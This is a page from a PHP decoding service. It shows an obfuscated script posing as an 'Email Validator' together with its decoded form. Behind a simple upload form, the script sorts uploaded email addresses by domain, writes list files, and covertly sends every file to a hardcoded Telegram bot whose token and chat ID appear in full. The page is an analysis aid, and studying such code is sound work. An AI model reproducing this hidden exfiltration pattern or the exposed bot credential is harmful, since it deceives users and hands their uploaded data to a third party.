Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto Ow2dn; ZDAZL: $chatId = "\67\x39\61\60\x31\70\x31\62\x39\66"; goto n5x4L; ip2sg: if (..
Decoded Output download
<? goto Ow2dn; ZDAZL: $chatId = "7910181296"; goto n5x4L; ip2sg: if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["email_file"])) { if ($_FILES["email_file"]["error"] > 0) { $error = "Error uploading file: " . $_FILES["email_file"]["error"]; } else { $file = $_FILES["email_file"]["tmp_name"]; if (file_exists($file)) { $emails = file($file, FILE_IGNORE_NEW_LINES); $validEmails = array(); $invalidEmails = array(); $ispFiles = array(); $emailGroups = array(); foreach ($emails as $email) { $email = trim($email); if (filter_var($email, FILTER_VALIDATE_EMAIL)) { $domain = substr(strrchr($email, "@"), 1); if (!isset($emailGroups[$domain])) { $emailGroups[$domain] = array(); } $emailGroups[$domain][] = $email; $validEmails[] = $email; } else { $invalidEmails[] = $email; } } foreach ($emailGroups as $domain => $emails) { $ispFile = strtolower($domain) . "-emails.txt"; file_put_contents($ispFile, implode("
", $emails)); $ispFiles[] = $ispFile; sendTelegramMessage("Sending emails for ISP: {$domain}", $ispFile); } $masterFile = "all-isp-emails.txt"; file_put_contents($masterFile, implode("\xa", array_merge($validEmails, $invalidEmails))); sendTelegramMessage("Master file generated: all-isp-emails.txt", $masterFile); $result = array("valid" => $validEmails, "invalid" => $invalidEmails, "ispFiles" => $ispFiles, "masterFile" => $masterFile); } else { $error = "File does not exist or could not be read."; } } } else { $error = "Please upload a valid file."; } goto TUBSS; RH2VN: $botToken = "7345935702:AAFQH8w5abBc83B9BvNjsp9cjJxsc_H_Ckc"; goto ZDAZL; o6c1P: if ($result !== null) { ?>
<div class="mt-4"><h4>Processing Results:</h4><p><strong>Valid Emails:</strong> <span style="color:green"><?php echo count($result["valid"]); ?>
valid email(s)</span></p><div class="list-group"><?php foreach ($result["valid"] as $email) { ?>
<p class="list-group-item list-group-item-success"><?php echo htmlspecialchars($email); ?>
</p><?php } ?>
</div><p><strong>Invalid Emails:</strong> <span style="color:red"><?php echo count($result["invalid"]); ?>
invalid email(s)</span></p><div class="list-group"><?php foreach ($result["invalid"] as $email) { ?>
<p class="list-group-item list-group-item-danger"><?php echo htmlspecialchars($email); ?>
</p><?php } ?>
</div><p><strong>ISP Files Created:</strong></p><ul><?php foreach ($result["ispFiles"] as $file) { ?>
<li><a href="<?php echo $file; ?>
"target="_blank"><?php echo $file; ?>
</a></li><?php } ?>
</ul><p><strong>Master File:</strong> <a href="<?php echo $result["masterFile"]; ?>
"target="_blank">Download all-isp-emails.txt</a></p></div><?php } goto pogHn; n5x4L: function sendTelegramMessage($message, $document = null) { global $botToken, $chatId; $url = "https://api.telegram.org/bot{$botToken}/sendMessage"; $params = array("chat_id" => $chatId, "text" => $message); if ($document) { $url = "https://api.telegram.org/bot{$botToken}/sendDocument"; $params = array("chat_id" => $chatId, "document" => new CURLFile(realpath($document))); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $params); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } goto ip2sg; pogHn: if ($error) { ?>
<div class="mt-4 alert alert-danger"><?php echo $error; ?>
</div><?php } goto N0DhK; TUBSS: ?>
<!doctypehtml><html lang="en"><head><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title>Email Validator - Developed by @Si_Lhaj</title><link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css"rel="stylesheet"></head><body><div class="container mt-5"><div class="card"><div class="text-center bg-primary card-header text-white"><h2>Email Validator - Developed by @Si_Lhaj</h2></div><div class="card-body"><form action="email.php"enctype="multipart/form-data"method="post"><div class="mb-3"><label class="form-label"for="emailFile">Upload Email List (.txt)</label> <input accept=".txt"class="form-control"id="emailFile"name="email_file"required type="file"></div><div class="mb-3 text-center"><button class="btn btn-primary"id="submitBtn"type="submit">Process Emails</button></div></form><?php goto o6c1P; Ow2dn: $result = null; goto iNYoo; iNYoo: $error = ''; goto RH2VN; N0DhK: ?>
</div></div></div><script src="email-validation.js"></script></body></htm
Did this file decode correctly?
Original Code
goto Ow2dn; ZDAZL: $chatId = "\67\x39\61\60\x31\70\x31\62\x39\66"; goto n5x4L; ip2sg: if ($_SERVER["\x52\105\121\x55\x45\123\x54\x5f\115\105\x54\110\x4f\x44"] == "\120\x4f\123\124" && isset($_FILES["\x65\x6d\x61\151\154\x5f\146\151\154\x65"])) { if ($_FILES["\x65\155\141\151\x6c\137\x66\151\x6c\x65"]["\145\162\x72\157\x72"] > 0) { $error = "\x45\162\162\x6f\162\x20\165\160\154\x6f\141\144\151\x6e\x67\40\x66\x69\x6c\x65\x3a\40" . $_FILES["\145\155\x61\151\154\x5f\146\151\154\145"]["\x65\162\x72\157\x72"]; } else { $file = $_FILES["\145\x6d\x61\151\x6c\x5f\146\151\154\x65"]["\164\x6d\x70\137\156\x61\x6d\x65"]; if (file_exists($file)) { $emails = file($file, FILE_IGNORE_NEW_LINES); $validEmails = array(); $invalidEmails = array(); $ispFiles = array(); $emailGroups = array(); foreach ($emails as $email) { $email = trim($email); if (filter_var($email, FILTER_VALIDATE_EMAIL)) { $domain = substr(strrchr($email, "\100"), 1); if (!isset($emailGroups[$domain])) { $emailGroups[$domain] = array(); } $emailGroups[$domain][] = $email; $validEmails[] = $email; } else { $invalidEmails[] = $email; } } foreach ($emailGroups as $domain => $emails) { $ispFile = strtolower($domain) . "\x2d\145\x6d\x61\x69\154\163\56\x74\170\x74"; file_put_contents($ispFile, implode("\12", $emails)); $ispFiles[] = $ispFile; sendTelegramMessage("\123\x65\x6e\x64\151\156\x67\40\x65\x6d\141\151\x6c\163\40\x66\157\162\40\x49\123\x50\72\x20{$domain}", $ispFile); } $masterFile = "\x61\x6c\x6c\55\151\163\160\55\x65\155\x61\x69\x6c\163\56\164\x78\x74"; file_put_contents($masterFile, implode("\xa", array_merge($validEmails, $invalidEmails))); sendTelegramMessage("\x4d\x61\163\164\145\162\40\146\x69\154\x65\x20\147\145\156\x65\x72\x61\x74\x65\x64\x3a\x20\x61\x6c\154\x2d\x69\x73\160\55\x65\x6d\141\151\154\x73\x2e\x74\x78\164", $masterFile); $result = array("\x76\141\154\x69\144" => $validEmails, "\x69\x6e\166\x61\x6c\151\144" => $invalidEmails, "\x69\x73\x70\106\151\154\x65\163" => $ispFiles, "\x6d\141\x73\164\x65\x72\x46\151\x6c\x65" => $masterFile); } else { $error = "\x46\151\154\145\40\144\x6f\x65\x73\x20\x6e\x6f\164\40\145\170\151\163\x74\40\157\x72\x20\x63\157\165\154\x64\x20\x6e\157\x74\40\x62\145\x20\x72\145\141\x64\x2e"; } } } else { $error = "\x50\154\x65\x61\163\x65\x20\x75\160\x6c\157\141\x64\40\x61\40\x76\141\x6c\x69\144\x20\x66\x69\x6c\145\x2e"; } goto TUBSS; RH2VN: $botToken = "\67\x33\64\x35\71\x33\65\67\60\62\x3a\101\101\106\121\x48\x38\167\65\141\x62\x42\x63\x38\63\102\71\x42\x76\x4e\152\x73\160\x39\143\152\x4a\170\163\143\x5f\110\x5f\x43\153\143"; goto ZDAZL; o6c1P: if ($result !== null) { ?>
<div class="mt-4"><h4>Processing Results:</h4><p><strong>Valid Emails:</strong> <span style="color:green"><?php echo count($result["\166\x61\154\151\144"]); ?>
valid email(s)</span></p><div class="list-group"><?php foreach ($result["\166\x61\154\151\144"] as $email) { ?>
<p class="list-group-item list-group-item-success"><?php echo htmlspecialchars($email); ?>
</p><?php } ?>
</div><p><strong>Invalid Emails:</strong> <span style="color:red"><?php echo count($result["\151\156\166\x61\154\x69\144"]); ?>
invalid email(s)</span></p><div class="list-group"><?php foreach ($result["\x69\x6e\x76\141\x6c\x69\x64"] as $email) { ?>
<p class="list-group-item list-group-item-danger"><?php echo htmlspecialchars($email); ?>
</p><?php } ?>
</div><p><strong>ISP Files Created:</strong></p><ul><?php foreach ($result["\x69\163\160\x46\x69\154\145\163"] as $file) { ?>
<li><a href="<?php echo $file; ?>
"target="_blank"><?php echo $file; ?>
</a></li><?php } ?>
</ul><p><strong>Master File:</strong> <a href="<?php echo $result["\155\141\163\x74\145\162\x46\x69\154\x65"]; ?>
"target="_blank">Download all-isp-emails.txt</a></p></div><?php } goto pogHn; n5x4L: function sendTelegramMessage($message, $document = null) { global $botToken, $chatId; $url = "\x68\164\x74\x70\163\72\x2f\x2f\x61\x70\151\56\164\x65\154\145\147\162\141\155\x2e\x6f\162\147\x2f\x62\157\164{$botToken}\57\163\145\156\144\x4d\145\163\163\141\147\x65"; $params = array("\x63\150\141\x74\137\151\x64" => $chatId, "\x74\145\x78\x74" => $message); if ($document) { $url = "\150\x74\164\x70\x73\x3a\57\57\x61\160\x69\x2e\x74\145\154\x65\147\x72\x61\155\x2e\x6f\x72\x67\x2f\x62\157\164{$botToken}\x2f\163\x65\x6e\x64\x44\157\143\x75\155\145\x6e\x74"; $params = array("\143\x68\x61\x74\137\x69\144" => $chatId, "\144\x6f\x63\165\155\145\156\164" => new CURLFile(realpath($document))); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $params); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } goto ip2sg; pogHn: if ($error) { ?>
<div class="mt-4 alert alert-danger"><?php echo $error; ?>
</div><?php } goto N0DhK; TUBSS: ?>
<!doctypehtml><html lang="en"><head><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title>Email Validator - Developed by @Si_Lhaj</title><link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css"rel="stylesheet"></head><body><div class="container mt-5"><div class="card"><div class="text-center bg-primary card-header text-white"><h2>Email Validator - Developed by @Si_Lhaj</h2></div><div class="card-body"><form action="email.php"enctype="multipart/form-data"method="post"><div class="mb-3"><label class="form-label"for="emailFile">Upload Email List (.txt)</label> <input accept=".txt"class="form-control"id="emailFile"name="email_file"required type="file"></div><div class="mb-3 text-center"><button class="btn btn-primary"id="submitBtn"type="submit">Process Emails</button></div></form><?php goto o6c1P; Ow2dn: $result = null; goto iNYoo; iNYoo: $error = ''; goto RH2VN; N0DhK: ?>
</div></div></div><script src="email-validation.js"></script></body></htm
Function Calls
None |
Stats
MD5 | bd8d05bf11adbe4df944c5d5ba4c1cbc |
Eval Count | 0 |
Decode Time | 35 ms |